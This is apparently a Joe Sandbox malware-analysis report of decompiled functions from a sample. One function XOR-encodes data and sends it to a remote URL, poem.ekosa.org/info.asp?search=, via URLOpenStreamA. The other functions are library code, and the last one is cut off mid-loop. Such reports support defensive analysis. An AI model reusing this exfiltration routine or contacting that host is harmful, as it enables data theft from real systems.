Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dde3499b65a6f51e152b656025acfb60f98274ed4e73645a1c6d3c789cbe97fa
Instruction ID: cbf9bb46c52011c6b13a04115fdd254d955413c01a329f408cd96ea7369c7a2f
Opcode Fuzzy Hash: dde3499b65a6f51e152b656025acfb60f98274ed4e73645a1c6d3c789cbe97fa
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 01231A90, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 127
memorynetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E01231A90(signed int __ecx, signed int __edx) {
				signed int _v8;
				char _v2056;
				signed int _v2060;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t29;
				intOrPtr _t43;
				char _t52;
				void* _t55;
				void* _t61;
				char* _t63;
				intOrPtr* _t65;
				void* _t71;
				void* _t73;
				void* _t74;
				void* _t75;
				signed int _t76;
				signed int _t78;

				_t29 =  *0x1249004; // 0x5a4607f2
				_v8 = _t29 ^ _t78;
				_v2060 = __ecx;
				_t76 = __edx;
				E012333D0(_t74,  &_v2056, 0, 0x800);
				_t69 = 0xaaaaaaab * (8 + _t76 * 4) >> 0x20 >> 1;
				_t56 = (0xaaaaaaab * (8 + _t76 * 4) >> 0x20 >> 1) + 0x2a;
				_t75 = LocalAlloc(0x40, (0xaaaaaaab * (8 + _t76 * 4) >> 0x20 >> 1) + 0x2a);
				if(_t75 != 0) {
					E012333D0(_t75, _t75, 0, _t56);
					E01240500(_t75, _v2060, _t76);
					_t61 = 0;
					if(_t76 != 0) {
						if(_t76 >= 0x20) {
							asm("movaps xmm1, [0x12477a0]");
							_t73 = _t76 - (_t76 & 0x0000001f);
							_t12 = _t75 + 0x10; // 0x10
							_t55 = _t12;
							do {
								asm("movups xmm0, [eax-0x10]");
								_t61 = _t61 + 0x20;
								_t55 = _t55 + 0x20;
								asm("pxor xmm0, xmm1");
								asm("movups [eax-0x30], xmm0");
								asm("movups xmm0, [eax-0x20]");
								asm("pxor xmm0, xmm1");
								asm("movups [eax-0x20], xmm0");
							} while (_t61 < _t73);
						}
						while(_t61 < _t76) {
							 *(_t61 + _t75) =  *(_t61 + _t75) ^ 0x0000009e;
							_t61 = _t61 + 1;
						}
					}
					_v2060 = _t76;
					E01231410(_t75,  &_v2060, _t76);
					_t63 =  &_v2056;
					_t71 = 0x104;
					_t76 = "http://poem.ekosa.org/intro/info/info.asp" - _t63;
					asm("o16 nop [eax+eax]");
					while(1) {
						_t19 = _t71 + 0x7ffffefa; // 0x7ffffffe
						if(_t19 == 0) {
							break;
						}
						_t52 =  *((intOrPtr*)(_t76 + _t63));
						if(_t52 == 0) {
							break;
						} else {
							 *_t63 = _t52;
							_t63 = _t63 + 1;
							_t71 = _t71 - 1;
							if(_t71 != 0) {
								continue;
							} else {
								L13:
								_t63 = _t63 - 1;
							}
						}
						L14:
						 *_t63 = 0;
						E01231620( &_v2056, "?search=");
						_t65 =  &_v2056;
						_t69 = _t65 + 1;
						do {
							_t43 =  *_t65;
							_t65 = _t65 + 1;
						} while (_t43 != 0);
						E01240500( &(( &_v2056)[_t65 - _t69]), _t75, _v2060);
						DeleteUrlCacheEntry( &_v2056);
						 *0x124a2bc(0,  &_v2056, 0, 0); // executed
						LocalFree(_t75);
						goto L17;
					}
					if(_t71 == 0) {
						goto L13;
					}
					goto L14;
				}
				L17:
				return E01232550(_t56, _v8 ^ _t78, _t69, _t75, _t76);
			}

0x01231a99
0x01231aa0
0x01231ab1
0x01231aba
0x01231abc
0x01231ad2
0x01231ad4
0x01231ae0
0x01231ae4
0x01231aee
0x01231afb
0x01231b03
0x01231b07
0x01231b0c
0x01231b0e
0x01231b1c
0x01231b1e
0x01231b1e
0x01231b21
0x01231b21
0x01231b25
0x01231b28
0x01231b2b
0x01231b2f
0x01231b33
0x01231b37
0x01231b3b
0x01231b3f
0x01231b21
0x01231b45
0x01231b47
0x01231b4b
0x01231b4c
0x01231b45
0x01231b56
0x01231b5e
0x01231b63
0x01231b70
0x01231b75
0x01231b77
0x01231b80
0x01231b80
0x01231b88
0x00000000
0x00000000
0x01231b8a
0x01231b8f
0x00000000
0x01231b91
0x01231b91
0x01231b93
0x01231b94
0x01231b97
0x00000000
0x01231b99
0x01231b9f
0x01231b9f
0x01231b9f
0x01231b97
0x01231ba0
0x01231ba0
0x01231bae
0x01231bb3
0x01231bb9
0x01231bc0
0x01231bc0
0x01231bc2
0x01231bc3
0x01231bd9
0x01231be8
0x01231bfb
0x01231c02
0x00000000
0x01231c02
0x01231b9d
0x00000000
0x00000000
0x00000000
0x01231b9d
0x01231c08
0x01231c18

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 01231ADA
DeleteUrlCacheEntry.WININET(?), ref: 01231BE8
URLOpenStreamA.URLMON(00000000,?,00000000,00000000), ref: 01231BFB
LocalFree.KERNEL32(00000000), ref: 01231C02

Strings

http://poem.ekosa.org/intro/info/info.asp, xrefs: 01231B69
?search=, xrefs: 01231BA9

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: Local$AllocCacheDeleteEntryFreeOpenStream
String ID: ?search=$http://poem.ekosa.org/intro/info/info.asp
API String ID: 1450232118-2916777287
Opcode ID: 4150ead6e119a573c7dec191f28e9e3acdf2787e8aec3b4db4f873498b8ab51e
Instruction ID: 6c5493f1e43fb67d9256fa2cc9b89fdd488065a855ea77393720933441fcb2a6
Opcode Fuzzy Hash: 4150ead6e119a573c7dec191f28e9e3acdf2787e8aec3b4db4f873498b8ab51e
Instruction Fuzzy Hash: DD418BB4A202158BDB29CB38DD45BFDBBB9FF95200F0881D8E68557141FF309989CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012365F3, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E012365F3(void* __ecx, signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				void* _t16;
				void* _t19;
				signed int _t20;
				long _t21;

				_t16 = __ecx;
				_t20 = _a4;
				if(_t20 == 0) {
					L2:
					_t21 = _t20 * _a8;
					if(_t21 == 0) {
						_t21 = _t21 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x124a198, 8, _t21); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E01235EDA();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E01236FAD())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E0123A2C1(_t15, _t16, _t19, __eflags, _t21);
						_pop(_t16);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t20 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x012365f3
0x012365f9
0x012365fe
0x0123660c
0x0123660c
0x01236612
0x01236614
0x01236614
0x0123662b
0x01236634
0x0123663c
0x00000000
0x00000000
0x0123661c
0x0123661e
0x01236640
0x01236645
0x0123664b
0x00000000
0x0123664b
0x01236621
0x01236626
0x01236627
0x01236629
0x00000000
0x00000000
0x01236629
0x00000000
0x0123662b
0x01236604
0x0123660a
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 01236634

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f940863337a8e686b7b616a439fcd6b37e184d8b1e5c7f874e5e2758732f46e3
Instruction ID: 213eb62f1d19d0aa6f33cd2244503d6b33dc0acd0ae5e095a6322dfdabfefaac
Opcode Fuzzy Hash: f940863337a8e686b7b616a439fcd6b37e184d8b1e5c7f874e5e2758732f46e3
Instruction Fuzzy Hash: D6F0B4B1634532BFEB226F2A9C05B6B3F5CAFD16F0B054021AA08D7584CA38D6019EE4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0123B40E, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E0123B40E(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr* _a16, signed int _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v32;
				signed int _v36;
				char _v460;
				signed int _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed int _v1865;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				signed int _v1888;
				signed int _v1892;
				signed int _v1896;
				intOrPtr _v1900;
				signed int _v1904;
				signed int _v1908;
				signed int _v1912;
				signed int _v1916;
				signed int _v1920;
				signed int _v1924;
				signed int _v1928;
				char _v1936;
				char _v1944;
				char _v2404;
				signed int _v2408;
				signed int _t743;
				signed int _t753;
				signed int _t754;
				intOrPtr _t763;
				signed int _t764;
				intOrPtr _t767;
				intOrPtr _t771;
				intOrPtr _t773;
				intOrPtr _t774;
				void* _t775;
				signed int _t779;
				signed int _t780;
				signed int _t786;
				signed int _t792;
				intOrPtr _t794;
				void* _t795;
				signed int _t796;
				signed int _t797;
				signed int _t798;
				signed int _t807;
				signed int _t812;
				signed int _t813;
				signed int _t814;
				signed int _t817;
				signed int _t818;
				signed int _t819;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				signed int _t824;
				signed int _t829;
				signed int _t830;
				signed int _t836;
				signed int _t837;
				signed int _t840;
				signed int _t845;
				signed int _t853;
				signed int* _t856;
				signed int _t860;
				signed int _t871;
				signed int _t872;
				signed int _t874;
				char* _t875;
				signed int _t878;
				signed int _t882;
				signed int _t883;
				signed int _t888;
				signed int _t890;
				signed int _t895;
				signed int _t904;
				signed int _t907;
				signed int _t909;
				signed int _t912;
				signed int _t913;
				signed int _t914;
				signed int _t917;
				signed int _t930;
				signed int _t931;
				signed int _t933;
				char* _t934;
				signed int _t937;
				signed int _t941;
				signed int _t942;
				signed int* _t944;
				signed int _t947;
				signed int _t949;
				signed int _t954;
				signed int _t962;
				signed int _t965;
				signed int _t969;
				signed int* _t976;
				intOrPtr _t978;
				void* _t979;
				intOrPtr* _t981;
				signed int* _t985;
				unsigned int _t996;
				signed int _t997;
				void* _t1000;
				signed int _t1001;
				void* _t1003;
				signed int _t1004;
				signed int _t1005;
				signed int _t1006;
				signed int _t1016;
				signed int _t1021;
				signed int _t1024;
				unsigned int _t1027;
				signed int _t1028;
				void* _t1031;
				signed int _t1032;
				void* _t1034;
				signed int _t1035;
				signed int _t1036;
				signed int _t1037;
				signed int _t1042;
				signed int* _t1047;
				signed int _t1049;
				signed int _t1059;
				void* _t1060;
				void _t1062;
				signed int _t1065;
				void* _t1068;
				void* _t1075;
				signed int _t1081;
				signed int _t1082;
				signed int _t1085;
				signed int _t1086;
				signed int _t1088;
				signed int _t1089;
				signed int _t1090;
				signed int _t1094;
				signed int _t1098;
				signed int _t1099;
				signed int _t1100;
				signed int _t1102;
				signed int _t1103;
				signed int _t1104;
				signed int _t1105;
				signed int _t1106;
				signed int _t1107;
				signed int _t1109;
				signed int _t1110;
				signed int _t1111;
				signed int _t1112;
				signed int _t1113;
				signed int _t1114;
				unsigned int _t1115;
				void* _t1118;
				intOrPtr _t1120;
				signed int _t1121;
				signed int _t1122;
				signed int _t1123;
				signed int* _t1127;
				void* _t1131;
				void* _t1132;
				signed int _t1133;
				signed int _t1134;
				signed int _t1135;
				signed int _t1138;
				signed int _t1139;
				signed int _t1144;
				signed int _t1146;
				signed int _t1147;
				signed int _t1155;
				signed int _t1156;
				signed int _t1157;
				signed int _t1158;
				signed int _t1159;
				signed int _t1160;
				signed int _t1161;
				signed int _t1165;
				signed int _t1166;
				signed int _t1167;
				signed int _t1168;
				signed int _t1169;
				unsigned int _t1172;
				void* _t1176;
				void* _t1177;
				unsigned int _t1178;
				signed int _t1183;
				signed int _t1184;
				signed int _t1186;
				signed int _t1187;
				intOrPtr* _t1189;
				signed int _t1190;
				void* _t1191;
				signed int _t1192;
				signed int _t1193;
				signed int _t1196;
				signed int _t1198;
				signed int _t1199;
				void* _t1200;
				signed int _t1201;
				signed int _t1202;
				signed int _t1203;
				void* _t1206;
				signed int _t1207;
				signed int _t1208;
				signed int _t1209;
				signed int _t1210;
				signed int _t1211;
				signed int* _t1214;
				signed int _t1215;
				signed int _t1216;
				signed int _t1217;
				signed int _t1218;
				intOrPtr* _t1220;
				intOrPtr* _t1221;
				signed int _t1223;
				signed int _t1225;
				signed int _t1228;
				signed int _t1234;
				signed int _t1238;
				signed int _t1239;
				void* _t1240;
				signed int _t1244;
				signed int _t1247;
				signed int _t1248;
				signed int _t1249;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1254;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed int _t1259;
				signed int _t1260;
				signed int _t1261;
				signed int _t1262;
				signed int _t1263;
				signed int _t1265;
				signed int _t1266;
				signed int _t1268;
				signed int _t1270;
				signed int _t1272;
				signed int _t1275;
				signed int _t1277;
				signed int* _t1278;
				signed int* _t1281;
				signed int _t1290;

				_t1146 = __edx;
				_t1275 = _t1277;
				_t1278 = _t1277 - 0x964;
				_t743 =  *0x1249004; // 0x5a4607f2
				_v8 = _t743 ^ _t1275;
				_push(__ebx);
				_t1059 = _a20;
				_push(__esi);
				_push(__edi);
				_t1189 = _a16;
				_v1924 = _t1189;
				_v1920 = _t1059;
				E0123AF27( &_v1944, __eflags);
				_t1238 = _a8;
				_t748 = 0x2d;
				if((_t1238 & 0x80000000) == 0) {
					_t748 = 0x120;
				}
				 *_t1189 = _t748;
				 *((intOrPtr*)(_t1189 + 8)) = _t1059;
				_t1190 = _a4;
				if((_t1238 & 0x7ff00000) != 0) {
					L5:
					_t753 = E01237591( &_a4);
					_pop(_t1074);
					__eflags = _t753;
					if(_t753 != 0) {
						_t1074 = _v1924;
						 *((intOrPtr*)(_v1924 + 4)) = 1;
					}
					_t754 = _t753 - 1;
					__eflags = _t754;
					if(_t754 == 0) {
						_push("1#INF");
						goto L308;
					} else {
						_t779 = _t754 - 1;
						__eflags = _t779;
						if(_t779 == 0) {
							_push("1#QNAN");
							goto L308;
						} else {
							_t780 = _t779 - 1;
							__eflags = _t780;
							if(_t780 == 0) {
								_push("1#SNAN");
								goto L308;
							} else {
								__eflags = _t780 == 1;
								if(_t780 == 1) {
									_push("1#IND");
									goto L308;
								} else {
									_v1928 = _v1928 & 0x00000000;
									_a4 = _t1190;
									_a8 = _t1238 & 0x7fffffff;
									_t1290 = _a4;
									asm("fst qword [ebp-0x768]");
									_t1192 = _v1896;
									_v1916 = _a12 + 1;
									_t1081 = _t1192 >> 0x14;
									_t786 = _t1081 & 0x000007ff;
									__eflags = _t786;
									if(_t786 != 0) {
										_t1147 = 0;
										_t786 = 0;
										__eflags = 0;
									} else {
										_t1147 = 1;
									}
									_t1193 = _t1192 & 0x000fffff;
									_t1062 = _v1900 + _t786;
									asm("adc edi, esi");
									__eflags = _t1147;
									_t1082 = _t1081 & 0x000007ff;
									_t1244 = _t1082 - 0x434 + (0 | _t1147 != 0x00000000) + 1;
									_v1872 = _t1244;
									E0123D460(_t1082, _t1290);
									_push(_t1082);
									_push(_t1082);
									 *_t1278 = _t1290;
									_t792 = E01240410(E0123D570(), _t1290);
									_v1904 = _t792;
									__eflags = _t792 - 0x7fffffff;
									if(_t792 == 0x7fffffff) {
										L16:
										__eflags = 0;
										_v1904 = 0;
									} else {
										__eflags = _t792 - 0x80000000;
										if(_t792 == 0x80000000) {
											goto L16;
										}
									}
									_v468 = _t1062;
									__eflags = _t1193;
									_v464 = _t1193;
									_t1065 = (0 | _t1193 != 0x00000000) + 1;
									_v472 = _t1065;
									__eflags = _t1244;
									if(_t1244 < 0) {
										__eflags = _t1244 - 0xfffffc02;
										if(_t1244 == 0xfffffc02) {
											L101:
											_t794 =  *((intOrPtr*)(_t1275 + _t1065 * 4 - 0x1d4));
											_t195 =  &_v1896;
											 *_t195 = _v1896 & 0x00000000;
											__eflags =  *_t195;
											asm("bsr eax, eax");
											if( *_t195 == 0) {
												_t1085 = 0;
												__eflags = 0;
											} else {
												_t1085 = _t794 + 1;
											}
											_t795 = 0x20;
											_t796 = _t795 - _t1085;
											__eflags = _t796 - 1;
											_t797 = _t796 & 0xffffff00 | _t796 - 0x00000001 > 0x00000000;
											__eflags = _t1065 - 0x73;
											_v1865 = _t797;
											_t1086 = _t1085 & 0xffffff00 | _t1065 - 0x00000073 > 0x00000000;
											__eflags = _t1065 - 0x73;
											if(_t1065 != 0x73) {
												L107:
												_t798 = 0;
												__eflags = 0;
											} else {
												__eflags = _t797;
												if(_t797 == 0) {
													goto L107;
												} else {
													_t798 = 1;
												}
											}
											__eflags = _t1086;
											if(_t1086 != 0) {
												L126:
												_v1400 = _v1400 & 0x00000000;
												_t224 =  &_v472;
												 *_t224 = _v472 & 0x00000000;
												__eflags =  *_t224;
												E0123903C( &_v468, 0x1cc,  &_v1396, 0);
												_t1278 =  &(_t1278[4]);
											} else {
												__eflags = _t798;
												if(_t798 != 0) {
													goto L126;
												} else {
													_t1113 = 0x72;
													__eflags = _t1065 - _t1113;
													if(_t1065 < _t1113) {
														_t1113 = _t1065;
													}
													__eflags = _t1113 - 0xffffffff;
													if(_t1113 != 0xffffffff) {
														_t1262 = _t1113;
														_t1220 =  &_v468 + _t1113 * 4;
														_v1880 = _t1220;
														while(1) {
															__eflags = _t1262 - _t1065;
															if(_t1262 >= _t1065) {
																_t208 =  &_v1876;
																 *_t208 = _v1876 & 0x00000000;
																__eflags =  *_t208;
															} else {
																_v1876 =  *_t1220;
															}
															_t210 = _t1262 - 1; // 0x70
															__eflags = _t210 - _t1065;
															if(_t210 >= _t1065) {
																_t1172 = 0;
																__eflags = 0;
															} else {
																_t1172 =  *(_t1220 - 4);
															}
															_t1220 = _t1220 - 4;
															_t976 = _v1880;
															_t1262 = _t1262 - 1;
															 *_t976 = _t1172 >> 0x0000001f ^ _v1876 + _v1876;
															_v1880 = _t976 - 4;
															__eflags = _t1262 - 0xffffffff;
															if(_t1262 == 0xffffffff) {
																break;
															}
															_t1065 = _v472;
														}
														_t1244 = _v1872;
													}
													__eflags = _v1865;
													if(_v1865 == 0) {
														_v472 = _t1113;
													} else {
														_t218 = _t1113 + 1; // 0x73
														_v472 = _t218;
													}
												}
											}
											_t1196 = 1 - _t1244;
											E012333D0(_t1196,  &_v1396, 0, 1);
											__eflags = 1;
											 *(_t1275 + 0xbad63d) = 1 << (_t1196 & 0x0000001f);
											_t807 = 0xbadbae;
										} else {
											_v1396 = _v1396 & 0x00000000;
											_t1114 = 2;
											_v1392 = 0x100000;
											_v1400 = _t1114;
											__eflags = _t1065 - _t1114;
											if(_t1065 == _t1114) {
												_t1176 = 0;
												__eflags = 0;
												while(1) {
													_t978 =  *((intOrPtr*)(_t1275 + _t1176 - 0x570));
													__eflags = _t978 -  *((intOrPtr*)(_t1275 + _t1176 - 0x1d0));
													if(_t978 !=  *((intOrPtr*)(_t1275 + _t1176 - 0x1d0))) {
														goto L101;
													}
													_t1176 = _t1176 + 4;
													__eflags = _t1176 - 8;
													if(_t1176 != 8) {
														continue;
													} else {
														_t166 =  &_v1896;
														 *_t166 = _v1896 & 0x00000000;
														__eflags =  *_t166;
														asm("bsr eax, edi");
														if( *_t166 == 0) {
															_t1177 = 0;
															__eflags = 0;
														} else {
															_t1177 = _t978 + 1;
														}
														_t979 = 0x20;
														_t1263 = _t1114;
														__eflags = _t979 - _t1177 - _t1114;
														_t981 =  &_v460;
														_v1880 = _t981;
														_t1221 = _t981;
														_t171 =  &_v1865;
														 *_t171 = _t979 - _t1177 - _t1114 > 0;
														__eflags =  *_t171;
														while(1) {
															__eflags = _t1263 - _t1065;
															if(_t1263 >= _t1065) {
																_t173 =  &_v1876;
																 *_t173 = _v1876 & 0x00000000;
																__eflags =  *_t173;
															} else {
																_v1876 =  *_t1221;
															}
															_t175 = _t1263 - 1; // 0x0
															__eflags = _t175 - _t1065;
															if(_t175 >= _t1065) {
																_t1178 = 0;
																__eflags = 0;
															} else {
																_t1178 =  *(_t1221 - 4);
															}
															_t1221 = _t1221 - 4;
															_t985 = _v1880;
															_t1263 = _t1263 - 1;
															 *_t985 = _t1178 >> 0x0000001e ^ _v1876 << 0x00000002;
															_v1880 = _t985 - 4;
															__eflags = _t1263 - 0xffffffff;
															if(_t1263 == 0xffffffff) {
																break;
															}
															_t1065 = _v472;
														}
														__eflags = _v1865;
														_t1115 = _t1114 - _v1872;
														_v472 = (0 | _v1865 != 0x00000000) + _t1114;
														_t1223 = _t1115 >> 5;
														_v1884 = _t1115;
														_t1265 = _t1223 << 2;
														E012333D0(_t1223,  &_v1396, 0, _t1265);
														 *(_t1275 + _t1265 - 0x570) = 1 << (_v1884 & 0x0000001f);
														_t807 = _t1223 + 1;
													}
													goto L128;
												}
											}
											goto L101;
										}
										L128:
										_v1400 = _t807;
										_t1068 = 0x1cc;
										_v936 = _t807;
										__eflags = _t807 << 2;
										E0123903C( &_v932, 0x1cc,  &_v1396, _t807 << 2);
										_t1281 =  &(_t1278[7]);
									} else {
										_v1396 = _v1396 & 0x00000000;
										_t1266 = 2;
										_v1392 = 0x100000;
										_v1400 = _t1266;
										__eflags = _t1065 - _t1266;
										if(_t1065 != _t1266) {
											L53:
											_t996 = _v1872 + 1;
											_t997 = _t996 & 0x0000001f;
											_t1118 = 0x20;
											_v1876 = _t997;
											_t1225 = _t996 >> 5;
											_v1872 = _t1225;
											_v1908 = _t1118 - _t997;
											_t1000 = E012403F0(1, _t1118 - _t997, 0);
											_t1120 =  *((intOrPtr*)(_t1275 + _t1065 * 4 - 0x1d4));
											_t1001 = _t1000 - 1;
											_t108 =  &_v1896;
											 *_t108 = _v1896 & 0x00000000;
											__eflags =  *_t108;
											asm("bsr ecx, ecx");
											_v1884 = _t1001;
											_v1912 =  !_t1001;
											if( *_t108 == 0) {
												_t1121 = 0;
												__eflags = 0;
											} else {
												_t1121 = _t1120 + 1;
											}
											_t1003 = 0x20;
											_t1004 = _t1003 - _t1121;
											_t1183 = _t1065 + _t1225;
											__eflags = _v1876 - _t1004;
											_v1892 = _t1183;
											_t1005 = _t1004 & 0xffffff00 | _v1876 - _t1004 > 0x00000000;
											__eflags = _t1183 - 0x73;
											_v1865 = _t1005;
											_t1122 = _t1121 & 0xffffff00 | _t1183 - 0x00000073 > 0x00000000;
											__eflags = _t1183 - 0x73;
											if(_t1183 != 0x73) {
												L59:
												_t1006 = 0;
												__eflags = 0;
											} else {
												__eflags = _t1005;
												if(_t1005 == 0) {
													goto L59;
												} else {
													_t1006 = 1;
												}
											}
											__eflags = _t1122;
											if(_t1122 != 0) {
												L81:
												__eflags = 0;
												_t1068 = 0x1cc;
												_v1400 = 0;
												_v472 = 0;
												E0123903C( &_v468, 0x1cc,  &_v1396, 0);
												_t1278 =  &(_t1278[4]);
											} else {
												__eflags = _t1006;
												if(_t1006 != 0) {
													goto L81;
												} else {
													_t1123 = 0x72;
													__eflags = _t1183 - _t1123;
													if(_t1183 >= _t1123) {
														_t1183 = _t1123;
														_v1892 = _t1123;
													}
													_t1016 = _t1183;
													_v1880 = _t1016;
													__eflags = _t1183 - 0xffffffff;
													if(_t1183 != 0xffffffff) {
														_t1184 = _v1872;
														_t1268 = _t1183 - _t1184;
														__eflags = _t1268;
														_t1127 =  &_v468 + _t1268 * 4;
														_v1888 = _t1127;
														while(1) {
															__eflags = _t1016 - _t1184;
															if(_t1016 < _t1184) {
																break;
															}
															__eflags = _t1268 - _t1065;
															if(_t1268 >= _t1065) {
																_t1228 = 0;
																__eflags = 0;
															} else {
																_t1228 =  *_t1127;
															}
															__eflags = _t1268 - 1 - _t1065;
															if(_t1268 - 1 >= _t1065) {
																_t1021 = 0;
																__eflags = 0;
															} else {
																_t1021 =  *(_t1127 - 4);
															}
															_t1024 = _v1880;
															_t1127 = _v1888 - 4;
															_v1888 = _t1127;
															 *(_t1275 + _t1024 * 4 - 0x1d0) = (_t1228 & _v1884) << _v1876 | (_t1021 & _v1912) >> _v1908;
															_t1016 = _t1024 - 1;
															_t1268 = _t1268 - 1;
															_v1880 = _t1016;
															__eflags = _t1016 - 0xffffffff;
															if(_t1016 != 0xffffffff) {
																_t1065 = _v472;
																continue;
															}
															break;
														}
														_t1183 = _v1892;
														_t1225 = _v1872;
														_t1266 = 2;
													}
													__eflags = _t1225;
													if(_t1225 != 0) {
														__eflags = 0;
														memset( &_v468, 0, _t1225 << 2);
														_t1278 =  &(_t1278[3]);
													}
													__eflags = _v1865;
													_t1068 = 0x1cc;
													if(_v1865 == 0) {
														_v472 = _t1183;
													} else {
														_v472 = _t1183 + 1;
													}
												}
											}
											_v1392 = _v1392 & 0x00000000;
											_v1396 = _t1266;
											_v1400 = 1;
											_v936 = 1;
											_push(4);
										} else {
											_t1131 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1275 + _t1131 - 0x570)) -  *((intOrPtr*)(_t1275 + _t1131 - 0x1d0));
												if( *((intOrPtr*)(_t1275 + _t1131 - 0x570)) !=  *((intOrPtr*)(_t1275 + _t1131 - 0x1d0))) {
													goto L53;
												}
												_t1131 = _t1131 + 4;
												__eflags = _t1131 - 8;
												if(_t1131 != 8) {
													continue;
												} else {
													_t1027 = _v1872 + 2;
													_t1028 = _t1027 & 0x0000001f;
													_t1132 = 0x20;
													_t1133 = _t1132 - _t1028;
													_v1888 = _t1028;
													_t1270 = _t1027 >> 5;
													_v1876 = _t1270;
													_v1908 = _t1133;
													_t1031 = E012403F0(1, _t1133, 0);
													_v1896 = _v1896 & 0x00000000;
													_t1032 = _t1031 - 1;
													__eflags = _t1032;
													asm("bsr ecx, edi");
													_v1884 = _t1032;
													_v1912 =  !_t1032;
													if(_t1032 == 0) {
														_t1134 = 0;
														__eflags = 0;
													} else {
														_t1134 = _t1133 + 1;
													}
													_t1034 = 0x20;
													_t1035 = _t1034 - _t1134;
													_t1186 = _t1270 + 2;
													__eflags = _v1888 - _t1035;
													_v1880 = _t1186;
													_t1036 = _t1035 & 0xffffff00 | _v1888 - _t1035 > 0x00000000;
													__eflags = _t1186 - 0x73;
													_v1865 = _t1036;
													_t1135 = _t1134 & 0xffffff00 | _t1186 - 0x00000073 > 0x00000000;
													__eflags = _t1186 - 0x73;
													if(_t1186 != 0x73) {
														L28:
														_t1037 = 0;
														__eflags = 0;
													} else {
														__eflags = _t1036;
														if(_t1036 == 0) {
															goto L28;
														} else {
															_t1037 = 1;
														}
													}
													__eflags = _t1135;
													if(_t1135 != 0) {
														L50:
														__eflags = 0;
														_t1068 = 0x1cc;
														_v1400 = 0;
														_v472 = 0;
														E0123903C( &_v468, 0x1cc,  &_v1396, 0);
														_t1278 =  &(_t1278[4]);
													} else {
														__eflags = _t1037;
														if(_t1037 != 0) {
															goto L50;
														} else {
															_t1138 = 0x72;
															__eflags = _t1186 - _t1138;
															if(_t1186 >= _t1138) {
																_t1186 = _t1138;
																_v1880 = _t1138;
															}
															_t1139 = _t1186;
															_v1892 = _t1139;
															__eflags = _t1186 - 0xffffffff;
															if(_t1186 != 0xffffffff) {
																_t1187 = _v1876;
																_t1272 = _t1186 - _t1187;
																__eflags = _t1272;
																_t1047 =  &_v468 + _t1272 * 4;
																_v1872 = _t1047;
																while(1) {
																	__eflags = _t1139 - _t1187;
																	if(_t1139 < _t1187) {
																		break;
																	}
																	__eflags = _t1272 - _t1065;
																	if(_t1272 >= _t1065) {
																		_t1234 = 0;
																		__eflags = 0;
																	} else {
																		_t1234 =  *_t1047;
																	}
																	__eflags = _t1272 - 1 - _t1065;
																	if(_t1272 - 1 >= _t1065) {
																		_t1049 = 0;
																		__eflags = 0;
																	} else {
																		_t1049 =  *(_v1872 - 4);
																	}
																	_t1144 = _v1892;
																	 *(_t1275 + _t1144 * 4 - 0x1d0) = (_t1049 & _v1912) >> _v1908 | (_t1234 & _v1884) << _v1888;
																	_t1139 = _t1144 - 1;
																	_t1272 = _t1272 - 1;
																	_t1047 = _v1872 - 4;
																	_v1892 = _t1139;
